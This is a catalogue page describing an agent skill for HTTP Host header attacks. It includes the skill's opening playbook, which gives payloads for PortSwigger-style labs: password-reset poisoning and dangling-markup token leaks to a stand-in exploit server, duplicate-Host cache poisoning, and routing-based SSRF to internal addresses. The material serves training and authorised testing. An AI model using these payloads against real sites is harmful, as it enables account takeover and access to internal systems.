HTTP Host Header Attacks — Deep Dive

HTTP Host Header Attacks — Deep Dive is a skill for Claude Code, Codex from ShulkwiSEC/bb-huge. It costs 28 tokens per session (1,128 once invoked), scanned A, original, MIT.

A detailed security-testing playbook for attacks involving the HTTP Host header, the field that tells a server which website a request targets. It includes example scenarios such as password-reset poisoning and cache poisoning.

In plain words
What is it for?
Use it to study and test Host-header handling in password resets, redirects, virtual-host routing, caches, and related web-security exercises.
Why use it?
It helps identify applications that trust an attacker-controlled host value when creating links, routing requests, or applying access rules.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Good fit Use it to study and test Host-header handling in password resets, redirects, virtual-host routing, caches, and related web-security exercises.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/ShulkwiSEC/bb-huge
agentmods
npx agentmods add skills/shulkwisec/bb-huge/host-header

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for HTTP Host Header Attacks — Deep Dive

README.md
[![agentmods](https://agentmods.dev/badge/skills/shulkwisec/bb-huge/host-header/github.svg)](https://agentmods.dev/skills/shulkwisec/bb-huge/host-header)
Your own site
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/host-header"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/host-header/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for HTTP Host Header Attacks — Deep Dive

Your own site · 80×15
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/host-header"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/host-header.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 28 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,128 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00028 $0.01128
Opus 5 $0.00014 $0.00564
Sonnet 5 $0.00006 $0.00226
Haiku 4.5 $0.00003 $0.00113

Measured 7d ago against content hash ba98f88abbcb, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade A, and why

HTTP Host Header Attacks — Deep Dive scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

tools: [burp-suite, curl, sqlmap, ffuf, python, hashcat, ysoserial]
Origin

Copies of this mod

1 near-identical copy found in the catalogue:

skills/curated/host-header/SKILL.md · 145 lines

How it starts

The opening of the file, as written. The whole thing — 145 lines — stays where its author put it; the contents beside it link to each section on GitHub.

HTTP Host Header Attacks — Deep Dive

Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert

When to Use

  • BSCP certification prep
  • Real-world bug bounty hunting
  • Building exploitation chains
  • Understanding bypass techniques

Prerequisites

  • Burp Suite Professional
  • Burp Collaborator / interactsh
  • Browser with proxy configured

Workflow

Phase 1: Reconnaissance

  • Identify input vectors, parameters, and application behavior.

Phase 2: Exploitation

  • Apply standard lab payloads.

Phase 3: Zero-Day Escalation

  • Fuzz filters, bypass WAFs, and chain with other vulns.

Lab Playbooks

Lab 1: Basic password reset poisoning 🟢 APPRENTICE

POST /forgot-password HTTP/1.1
Host: EXPLOIT-SERVER

username=carlos

Lab 2: Auth bypass 🟡 PRACTITIONER

GET /admin HTTP/1.1
Host: localhost

Lab 3: Ambiguous requests cache poison 🟡 PRACTITIONER

GET / HTTP/1.1
Host: TARGET
Host: EXPLOIT-SERVER

Duplicate Host header — backend uses second, cache keys on first.

Lab 4: Routing-based SSRF 🟡 PRACTITIONER

GET /admin HTTP/1.1
Host: 192.168.0.§1§

Host header controls routing to internal backends. Scan for admin panel.

Lab 5: SSRF via flawed parsing 🟡 PRACTITIONER

GET https://TARGET/admin HTTP/1.1
Host: 192.168.0.1

Absolute URL in request line → some servers use Host header for routing instead.

Lab 6: Connection state attack 🔴 EXPERT

First request: valid Host. Keep-alive → second request: Host: 192.168.0.1. Server reuses validated connection state.

Lab 7: Dangling markup password reset 🔴 EXPERT

Host: TARGET:arbitraryport/exploit-server.com/?

Password reset email contains truncated URL that leaks token to your server via dangling markup.

Blue Team Detection

  • Monitor access logs for anomalous payloads.
  • Implement strict input validation and parameterized queries where applicable.
  • Create WAF rules masking generic attack patterns.

Read the full file on GitHub · 145 lines

Files

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 145 lines · 28 tokens per session scan A ba98f88abbcb

Subscribe to this mod's changes

HTTP Host Header Attacks — Deep Dive is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 28 tokens to every session and 1,128 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.